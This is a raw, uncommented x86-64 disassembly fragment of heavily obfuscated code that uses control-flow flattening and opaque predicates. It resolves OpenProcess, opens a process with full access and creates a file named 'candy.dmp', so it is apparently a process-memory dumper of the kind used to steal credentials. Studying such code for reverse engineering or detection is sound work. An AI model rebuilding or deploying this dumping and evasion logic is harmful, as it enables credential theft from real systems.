cmp ecx, 0xe842222f
je 0x1400051c0
cmp ecx, 0xe887c27e
jne 0x14000108d
mov rax, qword [rbp - 0x50]
mov ecx, 0x3eb4fec1
jmp 0x14000108d
cmp ecx, 0x269feea1
jg 0x140003ad2
cmp ecx, 0x24091fc0
je 0x1400051ca
cmp ecx, 0x2597ac85
je 0x1400051fd
cmp ecx, 0x261d128e
jne 0x14000108d
mov rax, qword [rbp - 0x78]
sub rsp, 0x40
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
lea rcx, str.candy.dmp
mov edx, 0x10000000
xor r8d, r8d
xor r9d, r9d
call rax
add rsp, 0x40
mov qword [rbp - 0x28], rax
mov ecx, 0xd9d2bf36
jmp 0x14000108d
cmp ecx, 0xa85ba2f0
jg 0x140003b26
cmp ecx, 0xa72e9f8b
je 0x14000521b
cmp ecx, 0xa7979b4d
je 0x14000523e
cmp ecx, 0xa835e576
jne 0x14000108d
sub rsp, 0x20
lea rcx, str.kernel32.dll
call r15
add rsp, 0x20
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa173826d
mov eax, 0x6ec902c3
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0xa173826d
cmovl ecx, eax
jmp 0x14000108d
cmp ecx, 0x620b770e
je 0x14000525c
cmp ecx, 0x6568e898
je 0x140005266
cmp ecx, 0x664873fb
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
setge dl
or dl, al
xor cl, dl
xor dl, al
mov eax, 0x2ed7763f
mov edx, 0x3f6e0aee
cmovne eax, edx
test cl, cl
mov ecx, 0x2ed7763f
cmove eax, ecx
mov ecx, eax
jmp 0x14000108d
cmp ecx, 0xdb927dea
je 0x140005296
cmp ecx, 0xdc051bdf
je 0x1400052a0
cmp ecx, 0xdcd5defc
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x2597ac85
mov eax, 0x7cc39b9d
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x2597ac85
cmovl ecx, eax
jmp 0x14000108d
cmp ecx, 0x1381fb80
je 0x1400052be
cmp ecx, 0x1500cd46
je 0x140005303
cmp ecx, 0x15440cac
jne 0x14000108d
mov ecx, 0x3a30e2b7
jmp 0x14000108d
cmp ecx, 0x97956250
je 0x14000532a
cmp ecx, 0x97b497eb
je 0x140005334
cmp ecx, 0x996072bc
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3001ca2d
mov eax, 0xd55239bc
jmp 0x140001080
cmp ecx, 0x52aaf826
je 0x14000533e
cmp ecx, 0x54f51624
je 0x140005348
cmp ecx, 0x55391df2
jne 0x14000108d
mov ecx, 0x5c24664e
jmp 0x14000108d
cmp ecx, 0xf61aac26
je 0x140005352
cmp ecx, 0xf6e35806
je 0x14000535c
cmp ecx, 0xf6f3faa7
jne 0x14000108d
mov ecx, 0x8bc229f9
jmp 0x14000108d
cmp ecx, 0x3051f126
je 0x140005366
cmp ecx, 0x3073e162
je 0x140005370
cmp ecx, 0x30741903
jne 0x14000108d
mov rax, qword [rbp - 0x58]
mov r8d, dword [rbp + 0x1c]
sub rsp, 0x20
mov ecx, 0x1fffff
xor edx, edx
call rax
add rsp, 0x20
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
setne byte [rbp + 0x36]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb7c99f75
mov eax, 0x23cbf721
jmp 0x140001080
cmp ecx, 0xb833675f
je 0x14000538e
cmp ecx, 0xb8d49d35
je 0x1400053ac
cmp ecx, 0xb8edd371
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x365e75d
mov eax, 0xf5f8be98
jmp 0x140001080
cmp ecx, 0x754230c4
je 0x1400053cd
cmp ecx, 0x75495fa3
je 0x1400053eb
cmp ecx, 0x757ba784
jne 0x14000108d
mov ecx, 0xc24405a9
jmp 0x14000108d
cmp ecx, 0xc79004be
je 0x14000545b
cmp ecx, 0xc826504c
je 0x140005479
cmp ecx, 0xc9a42454
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc344da1f
mov eax, 0xeda61c2a
jmp 0x140001080
cmp ecx, 0xcab06a7
je 0x140005497
cmp ecx, 0xd7ac293
je 0x1400054ad
cmp ecx, 0xe62368f
jne 0x14000108d
mov ecx, 0x4e9c5b6a
jmp 0x14000108d
cmp ecx, 0x8bc229f9
je 0x1400054cb
cmp ecx, 0x8d16c66d
je 0x1400054e1
cmp ecx, 0x8d303a66
jne 0x14000108d
mov edx, dword [0x14000b040]
mov edi, dword [0x14000b044]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
sete r8b
cmp edi, 0xa
setge r9b
setl al
mov edx, ecx
and dl, al
xor al, r8b
mov ebx, eax
xor bl, 1
or dl, bl
xor dl, al
and r9b, r8b
mov eax, r9d
xor al, dl
not dl
and dl, r9b
xor dl, al
test dl, 1
mov eax, 0x5ddcc848
mov edx, 0x6bb37a98
cmovne eax, edx
test ecx, ecx
mov ecx, eax
mov edx, 0x5ddcc848
jmp 0x14000544d
cmp ecx, 0x48af08ef
je 0x1400054eb
cmp ecx, 0x48efb2f4
je 0x140005509
cmp ecx, 0x496d8d38
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb8d49d35
mov eax, 0xbd11f2bd
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0xb8d49d35
cmovl ecx, eax
jmp 0x14000108d
cmp ecx, 0xee1ca56b
je 0x14000556f
cmp ecx, 0xee87d46e
je 0x1400055b7
cmp ecx, 0xef85662b
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa7979b4d
mov eax, 0xa3662511
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0xa7979b4d
cmovl ecx, eax
jmp 0x14000108d
cmp ecx, 0x2b487530
je 0x1400055f7
cmp ecx, 0x2b8328e5
je 0x140005615
cmp ecx, 0x2c998ed1
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x6cea6d03
mov eax, 0x8ff7b4d3
jmp 0x140001080
cmp ecx, 0xad0de8c0
je 0x140005633
cmp ecx, 0xad6eacb4
je 0x14000563d
cmp ecx, 0xadbd1eb8
jne 0x14000108d
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
lea rdx, str.OpenProcess
call r13
add rsp, 0x20
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
lea rdx, [0x14000a1a0]
call r13
add rsp, 0x20
mov ecx, 0x9be30828
jmp 0x14000108d
cmp ecx, 0x6bd80393
je 0x140005647
cmp ecx, 0x6c95bdea
je 0x140005651
cmp ecx, 0x6cc1e34a
jne 0x14000108d
mov ecx, 0x84c1d1dd
jmp 0x14000108d
cmp ecx, 0xe21705f4
je 0x14000565b
cmp ecx, 0xe23b2bba
je 0x140005679
cmp ecx, 0xe23e242e
jne 0x14000108d
mov ecx, 0xca7d6dbf
jmp 0x14000108d
cmp ecx, 0x1ad2a9be
je 0x1400056a9
cmp ecx, 0x1b351e19
je 0x1400056c7
cmp ecx, 0x1b99fcb6
jne 0x14000108d
mov rax, qword [rbp + 8]
mov ecx, 0x487fd53b
jmp 0x14000108d
cmp ecx, 0x9faa39b2
je 0x140005724
cmp ecx, 0x9fd7dda6
je 0x14000576f
cmp ecx, 0x9fec5320
jne 0x14000108d
mov ecx, 0x56725ed3
jmp 0x14000108d
cmp ecx, 0x5a92ae9d
je 0x140005779
cmp ecx, 0x5ad56fd6
je 0x1400057a9
cmp ecx, 0x5c17e97f
jne 0x14000108d
mov ecx, 0x8b396739
jmp 0x14000108d
cmp ecx, 0xfc2f41c9
je 0x1400057b3
cmp ecx, 0xfea75da8
je 0x1400057e6
cmp ecx, 0xff504488
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7f1186ab
mov eax, 0xc3bf8e1
jmp 0x140001080
cmp ecx, 0x3a30e2b7
je 0x140005809
cmp ecx, 0x3c18e90d
je 0x14000584f
cmp ecx, 0x3c73eeef
jne 0x14000108d
mov ecx, 0xe764c933
jmp 0x14000108d
cmp ecx, 0xc1b36871
je 0x140005859
cmp ecx, 0xc24405a9
je 0x1400058b6
cmp ecx, 0xc344da1f
jne 0x14000108d
mov rax, qword [rbp + 0x28]
mov ecx, 0xeda61c2a
jmp 0x14000108d
cmp ecx, 0x7ae9ab40
je 0x1400058d4
cmp ecx, 0x7c1eacbc
je 0x1400058f2
cmp ecx, 0x7cc39b9d
jne 0x14000108d
mov ecx, 0x2597ac85
jmp 0x14000108d
cmp ecx, 0xd46b41b8
je 0x140005910
cmp ecx, 0xd496ecb4
je 0x14000592e
cmp ecx, 0xd55239bc
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xad0de8c0
mov eax, 0x68f22202
jmp 0x140001080
cmp ecx, 0x365e75d
je 0x140005938
cmp ecx, 0x378a391
je 0x140005942
cmp ecx, 0x47a9853
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl al
mov ebx, eax
and cl, al
xor al, r8b
and bl, r8b
xor cl, bl
or dl, r8b
and dl, al
xor dl, cl
mov ecx, 0x856d0f7
mov eax, 0x96cfa868
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0x828898bf
je 0x14000594c
cmp ecx, 0x836022db
je 0x14000596a
cmp ecx, 0x83fc6ef2
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x62037dbd
mov eax, 0xab86ced5
jmp 0x140001080
cmp ecx, 0x3f880029
je 0x1400059a9
cmp ecx, 0x3fb2fce6
je 0x140005a4d
cmp ecx, 0x3fd06975
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x509e2bc6
mov eax, 0x1a1d0146
jmp 0x140001080
cmp ecx, 0xe5befe2e
je 0x140005a6b
cmp ecx, 0xe5f5fa80
je 0x140005aba
cmp ecx, 0xe6da0eb7
jne 0x14000108d
mov ecx, 0xef85662b
jmp 0x14000108d
cmp ecx, 0x2266b6ca
je 0x140005aea
cmp ecx, 0x229e0005
je 0x140005af4
cmp ecx, 0x23cbf721
jne 0x14000108d
cmp byte [rbp + 0x36], 0
mov ecx, 0x97b497eb
mov eax, 0x261d128e
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0xa3e25be9
je 0x140005b12
cmp ecx, 0xa45db5b7
je 0x140005b54
cmp ecx, 0xa5509ba5
jne 0x14000108d
mov eax, dword [0x14000b040]
mov ecx, dword [0x14000b044]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0xa899747b
mov ebx, 0xf4b9ca0a
jmp 0x140004a2e
cmp ecx, 0x61b133c8
je 0x140005b72
cmp ecx, 0x61ba40dc
je 0x140005bc5
cmp ecx, 0x62037dbd
jne 0x14000108d
mov ecx, 0x83fc6ef2
jmp 0x14000108d
cmp ecx, 0xd80c4295
je 0x140005bcf
cmp ecx, 0xd8d78301
je 0x140005bed
cmp ecx, 0xd9d2bf36
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3001ca2d
mov eax, 0x996072bc
jmp 0x140001080
cmp ecx, 0x11f7c1f6
je 0x140005bf7
cmp ecx, 0x12314118
je 0x140005c0a
cmp ecx, 0x134211e3
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xdd8ef6a6
mov eax, 0x28b0644e
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0xdd8ef6a6
cmovl ecx, eax
jmp 0x14000108d
cmp ecx, 0x964a1361
je 0x140005c3a
cmp ecx, 0x96cfa868
je 0x140005c50
cmp ecx, 0x970462d3
jne 0x14000108d
mov eax, dword [0x14000b040]
mov edi, dword [0x14000b044]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
xor cl, r8b
mov eax, ecx
xor al, 1
and bl, r8b
or bl, al
xor bl, cl
mov eax, 0xa85ba2f1
mov ecx, 0x58fb95c6
cmovne eax, ecx
test dl, 1
mov ecx, 0xa85ba2f1
cmove ecx, eax
cmp edi, 0xa
cmovge ecx, eax
test dl, 1
mov eax, ecx
mov edx, 0xa85ba2f1
cmove eax, edx
cmp edi, 0xa
cmovge eax, ecx
mov ecx, eax
jmp 0x14000108d
cmp ecx, 0x50c3e9c8
je 0x140005c91
cmp ecx, 0x51d76f9f
je 0x140005cc1
cmp ecx, 0x526c2903
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge cl
setl dl
mov eax, edx
xor al, r8b
or dl, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
xor cl, dl
mov ecx, 0xf05a39f2
mov edx, 0x4302ef7d
cmovne ecx, edx
test al, al
mov eax, 0xf05a39f2
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0xf488bcb6
je 0x140005ce3
cmp ecx, 0xf4b9ca0a
je 0x140005d5b
cmp ecx, 0xf5f8be98
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x365e75d
mov eax, 0x9f6674bf
jmp 0x140001080
cmp ecx, 0x2f4ced5e
je 0x140005d79
cmp ecx, 0x2f539a97
je 0x140005d97
cmp ecx, 0x3001ca2d
jne 0x14000108d
mov ecx, 0x996072bc
jmp 0x14000108d
cmp ecx, 0xb66cb8f2
je 0x140005dc7
cmp ecx, 0xb752982e
je 0x140005dd1
cmp ecx, 0xb7c99f75
jne 0x14000108d
mov rax, qword [rbp - 0x58]
mov r8d, dword [rbp + 0x1c]
sub rsp, 0x20
mov ecx, 0x1fffff
xor edx, edx
call rax
add rsp, 0x20
mov ecx, 0x30741903
jmp 0x14000108d
cmp ecx, 0x72adca70
je 0x140005e04
cmp ecx, 0x749b6479
je 0x140005e22
cmp ecx, 0x74fadd4e
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setl al
setge r9b
or r9b, r8b
mov ebx, eax
xor bl, r8b
mov edx, eax
or dl, cl
and dl, bl
xor bl, 1
and r9b, bl
and cl, al
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, dl
xor cl, dl
xor cl, bl
or al, r8b
xor al, 1
mov edx, ecx
xor dl, 1
and dl, al
xor al, cl
xor al, dl
mov ecx, r9d
xor cl, al
test cl, 1
mov edx, 0xe5befe2e
mov ecx, 0xb66cb8f2
cmovne edx, ecx
test r9b, r9b
mov ecx, 0xe5befe2e
cmovne ecx, edx
test al, 1
cmove ecx, edx
jmp 0x14000108d
cmp ecx, 0xc645f104
je 0x140005e2c
cmp ecx, 0xc6b7ca5b
je 0x140005e4a
cmp ecx, 0xc6df0ea3
jne 0x14000108d
mov ecx, 0x84c1d1dd
jmp 0x14000108d
cmp ecx, 0xc3bf8e1
je 0x140005e99
cmp ecx, 0xc9d8b62
je 0x140005ea3
cmp ecx, 0xca77043
jne 0x14000108d
mov ecx, 0xaa41f9fd
jmp 0x14000108d
cmp ecx, 0x8a36b8d8
je 0x140005ef9
cmp ecx, 0x8b396739
je 0x140005f17
cmp ecx, 0x8b7d68fe
jne 0x14000108d
mov edx, dword [0x14000b040]
mov r9d, dword [0x14000b044]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
sete r8b
cmp r9d, 0xa
setge bl
setl al
mov edx, ecx
and dl, al
xor al, r8b
and bl, r8b
xor bl, al
xor dl, al
movzx eax, al
test al, al
mov esi, 0x754230c4
mov edi, 0xb3d8b14c
cmovne esi, edi
movzx ebx, bl
test dl, dl
cmove eax, ebx
mov edx, 0xb3d8b14c
cmovne edx, esi
test bl, bl
cmovne edx, esi
test al, al
mov eax, 0x754230c4
cmovne edx, eax
test ecx, ecx
mov ecx, edx
cmove ecx, eax
cmp r9d, 0xa
cmovge ecx, edx
jmp 0x14000108d
cmp ecx, 0x4783734b
je 0x140005f3f
cmp ecx, 0x478c7be8
je 0x140005f49
cmp ecx, 0x487fd53b
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov ecx, 0x2a5de097
mov eax, 0x1500cd46
jmp 0x140006728
cmp ecx, 0xed1653f5
je 0x140005f53
cmp ecx, 0xed6e17ab
je 0x140005f7e
cmp ecx, 0xeda61c2a
jne 0x14000108d
cmp qword [rbp + 0x28], 0
setne byte [rbp + 0x3d]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc344da1f
mov eax, 0x9f85d938
jmp 0x140001080
cmp ecx, 0x28b0644e
je 0x140005f9c
cmp ecx, 0x2a5cd09b
je 0x140005fa6
cmp ecx, 0x2a5de097
jne 0x14000108d
mov rax, qword [rbp + 8]
mov ecx, 0x1500cd46
jmp 0x14000108d
cmp ecx, 0xab86ced5
je 0x140005fb0
cmp ecx, 0xacb94b7b
je 0x140005fba
cmp ecx, 0xad0be848
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x2767b857
mov eax, 0x72adca70
jmp 0x140001080
cmp ecx, 0x6b094de9
je 0x140005fe4
cmp ecx, 0x6b1b5402
je 0x14000601a
cmp ecx, 0x6bb37a98
jne 0x14000108d
mov ecx, 0x5ddcc848
jmp 0x14000108d
cmp ecx, 0xe18b434f
je 0x140006068
cmp ecx, 0xe19a8f84
je 0x140006072
cmp ecx, 0xe1bc9eae
jne 0x14000108d
mov ecx, 0xe45d9a63
jmp 0x14000108d
cmp ecx, 0x19229a09
je 0x14000607c
cmp ecx, 0x1a0919b2
je 0x140006086
cmp ecx, 0x1a1d0146
jne 0x14000108d
mov eax, dword [0x14000b040]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete bl
cmp dword [0x14000b044], 0xa
setge cl
setl al
mov r8d, eax
and r8b, bl
and dl, al
xor al, bl
xor dl, al
or cl, bl
mov ebx, ecx
or bl, dl
mov r9d, ecx
and r9b, al
xor r9b, bl
mov ebx, edx
xor bl, 1
movzx ebx, bl
movzx eax, al
test cl, cl
cmove eax, ebx
mov ebx, ecx
xor bl, dl
xor bl, 1
xor cl, 1
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
xor dl, 1
xor cl, 1
and cl, al
or cl, dl
and cl, r9b
mov eax, r8d
xor al, cl
test al, 1
mov eax, 0xc4ef2f4a
mov edx, 0x9fd7dda6
cmovne eax, edx
test cl, cl
mov ecx, 0xc4ef2f4a
cmovne ecx, eax
test r8b, r8b
cmove ecx, eax
jmp 0x14000108d
cmp ecx, 0x9e1a41d0
je 0x140006090
cmp ecx, 0x9f6674bf
je 0x14000609a
cmp ecx, 0x9f85d938
jne 0x14000108d
mov ecx, 0x760cc941
jmp 0x14000108d
cmp ecx, 0x58fb95c6
je 0x1400060fd
cmp ecx, 0x599c8b0e
je 0x14000610b
cmp ecx, 0x5a289591
jne 0x14000108d
mov ecx, 0x48efb2f4
jmp 0x14000108d
cmp ecx, 0xfaf6d202
je 0x140006131
cmp ecx, 0xfb281493
je 0x14000613b
cmp ecx, 0xfb4db1ed
jne 0x14000108d
mov rax, qword [rbp - 0x10]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setl cl
mov edx, ecx
xor dl, al
mov ebx, ecx
and bl, al
or cl, al
mov eax, ebx
xor al, 1
or al, dl
xor dl, cl
and al, cl
xor al, bl
xor dl, bl
test al, al
mov ecx, 0xd55e95ac
mov eax, 0xe23e242e
jmp 0x140006728
cmp ecx, 0x38bb8ff5
je 0x140006159
cmp ecx, 0x3a044c0a
je 0x140006177
cmp ecx, 0x3a2733e4
jne 0x14000108d
mov ecx, 0xc4d541af
jmp 0x14000108d
cmp ecx, 0xbd8ec023
je 0x140006181
cmp ecx, 0xbfbd778f
je 0x140001065
cmp ecx, 0xc1168ca0
jne 0x14000108d
mov rdx, qword [rbp + 0x40]
shr rdx, 0x14
sub rsp, 0x20
lea rcx, [0x14000a223]
call fcn.140006890
add rsp, 0x20
mov eax, dword [0x14000b040]
mov edi, dword [0x14000b044]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
mov eax, edx
or al, cl
xor cl, r8b
and al, cl
and bl, r8b
xor bl, al
mov eax, 0x860fe9e5
mov ebx, 0x4fb2995
cmovne eax, ebx
test edx, edx
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
mov rdx, qword [rbp + 0x10]
mov rdx, qword [rdx]
mov qword [rbp - 0x70], rdx
cmovge ecx, eax
jmp 0x14000108d
cmp ecx, 0x7a4c72df
je 0x1400061e7
cmp ecx, 0x7a530ee8
je 0x140006265
cmp ecx, 0x7adc7c86
jne 0x14000108d
mov eax, dword [0x14000b040]
mov ecx, dword [0x14000b044]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x1c91d157
mov ebx, 0x27e8c3bf
jmp 0x140004a2e
cmp ecx, 0xcdfd57ed
je 0x1400062b9
cmp ecx, 0xd0a64338
je 0x1400062d7
cmp ecx, 0xd161f75c
jne 0x14000108d
mov ecx, dword [0x14000b040]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x14000b044], 0xa
setl dl
setge r9b
and r9b, r8b
mov ecx, edx
xor cl, r8b
mov r10d, ecx
xor r10b, 1
and al, dl
or r10b, al
xor cl, r10b
mov ebx, ecx
xor bl, 1
and bl, r9b
xor cl, r9b
xor cl, 1
or cl, bl
or dl, r8b
xor dl, al
xor dl, r10b
mov eax, edx
xor al, cl
not dl
and dl, cl
xor dl, al
test dl, 1
mov ecx, 0x9e1a41d0
jmp 0x1400050fa
cmp ecx, 0x84a1241
je 0x1400062f5
cmp ecx, 0x856d0f7
je 0x140006313
cmp ecx, 0x8f900ad
jne 0x14000108d
mov ecx, dword [0x14000b040]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r9b
cmp dword [0x14000b044], 0xa
setl r8b
setge bl
or bl, r9b
mov edx, r8d
and dl, al
mov r11d, r8d
xor r11b, r9b
xor dl, r11b
mov r10d, ebx
or r10b, dl
mov ecx, ebx
and cl, r11b
xor cl, r10b
mov r10d, ebx
xor r10b, dl
not bl
or bl, dl
and bl, r10b
mov edx, ecx
not dl
and dl, bl
xor bl, cl
xor bl, dl
xor r11b, 1
or al, r8b
and al, r11b
or r8b, r9b
xor r8b, al
test bl, 1
mov ecx, 0xf0fc4f3f
mov eax, 0x56b17540
cmovne ecx, eax
test r8b, r8b
mov eax, 0xf0fc4f3f
cmove ecx, eax
jmp 0x14000108d
cmp ecx, 0x860fe9e5
je 0x14000631d
cmp ecx, 0x8643f1d6
je 0x140006386
cmp ecx, 0x88956fe5
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf438e3d5
mov eax, 0x47a9853
jmp 0x140001080
cmp ecx, 0x4302ef7d
je 0x140006394
cmp ecx, 0x447ace12
je 0x14000639e
cmp ecx, 0x448d31d1
jne 0x14000108d
mov ecx, 0xc645f104
jmp 0x14000108d
cmp ecx, 0xe8aa3a1d
je 0x140006416
cmp ecx, 0xe8fca16d
je 0x140006446
cmp ecx, 0xea246853
jne 0x14000108d
mov ecx, 0xc9a42454
jmp 0x14000108d
cmp ecx, 0x269feea2
je 0x140006464
cmp ecx, 0x2767b857
je 0x14000646e
cmp ecx, 0x278a2509
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe18b434f
mov eax, 0x6c95bdea
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0xe18b434f
cmovl ecx, eax
jmp 0x14000108d
cmp ecx, 0xa85ba2f1
je 0x140006478
cmp ecx, 0xa899747b
je 0x1400064af
cmp ecx, 0xa91eae4d
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xaa9c1f96
mov eax, 0x460ec728
jmp 0x140001080
cmp ecx, 0x68cb4a71
je 0x1400064b9
cmp ecx, 0x68f22202
jne 0x14000108d
mov ecx, dword [0x14000b040]
mov edi, dword [0x14000b044]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
cmp edi, 0xa
setl r8b
setge al
and al, cl
xor cl, r8b
xor al, cl
mov ebx, edx
and bl, r8b
xor bl, cl
mov ebx, 0xad0de8c0
mov esi, 0x92ffe6cf
cmovne ebx, esi
test al, al
cmovne ebx, esi
test cl, cl
cmovne ebx, esi
jmp 0x140004335
cmp ecx, 0xddce6fe1
je 0x1400064fe
cmp ecx, 0xdf094500
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7a530ee8
mov eax, 0xca7d6dbf
jmp 0x140001080
cmp ecx, 0x16daccde
je 0x14000651c
cmp ecx, 0x16e9826d
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3a2733e4
mov eax, 0xc4d541af
jmp 0x140001080
cmp ecx, 0x9b6c23a2
je 0x140006529
cmp ecx, 0x9b6fa4b0
jne 0x14000108d
mov ecx, 0xe5f5fa80
jmp 0x14000108d
cmp ecx, 0x56725ed3
je 0x140006547
cmp ecx, 0x56b17540
jne 0x14000108d
mov ecx, 0x8f900ad
jmp 0x14000108d
cmp ecx, 0xf9042bcb
je 0x1400065bd
cmp ecx, 0xf94b44eb
jne 0x14000108d
mov ecx, 0x24091fc0
jmp 0x14000108d
cmp ecx, 0x3293bd8b
je 0x1400065c7
cmp ecx, 0x336fb2b3
jne 0x14000108d
mov ecx, 0x51d76f9f
jmp 0x14000108d
cmp ecx, 0xba35a31c
je 0x1400065e5
cmp ecx, 0xba8b9bc0
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x24091fc0
mov eax, 0xf94b44eb
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x24091fc0
cmovl ecx, eax
jmp 0x14000108d
cmp ecx, 0x76c0261c
je 0x14000666d
cmp ecx, 0x76c8b1e2
jne 0x14000108d
mov ecx, 0x27a5d1d2
jmp 0x14000108d
cmp ecx, 0xcabff6b5
je 0x140006677
cmp ecx, 0xcb06ebcb
jne 0x14000108d
mov eax, dword [0x14000b040]
mov ecx, dword [0x14000b044]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov edi, 0xaa861017
mov esi, 0x8d16c66d
cmovne edi, esi
cmp ecx, 0xa
mov eax, edi
cmovl eax, esi
test dl, 1
cmove eax, edi
mov edx, 0x8d16c66d
cmove edx, eax
cmp ecx, 0xa
cmovl edx, eax
test bl, bl
mov eax, 0xaa861017
cmovne edx, eax
jmp 0x1400058ac
cmp ecx, 0x10040eaf
je 0x140006681
cmp ecx, 0x109486b0
jne 0x14000108d
mov ecx, 0x6ea994e8
jmp 0x14000108d
cmp ecx, 0x90ed2a0c
je 0x1400066d2
cmp ecx, 0x9235f3cd
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1ef8cf09
mov eax, 0x9b6c23a2
jmp 0x140001080
cmp ecx, 0x4d5baa98
je 0x1400066dc
cmp ecx, 0x4e9c5b6a
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x487fd53b
mov eax, 0x1b99fcb6
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x487fd53b
cmovl ecx, eax
jmp 0x14000108d
cmp ecx, 0xf102ecbb
je 0x1400066fa
cmp ecx, 0xf170f28d
jne 0x14000108d
mov eax, dword [0x14000b040]
mov edi, dword [0x14000b044]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp edi, 0xa
setge bl
setl dl
mov eax, edx
and al, cl
xor dl, r8b
or bl, r8b
and bl, dl
xor bl, al
mov eax, 0x6ad787c4
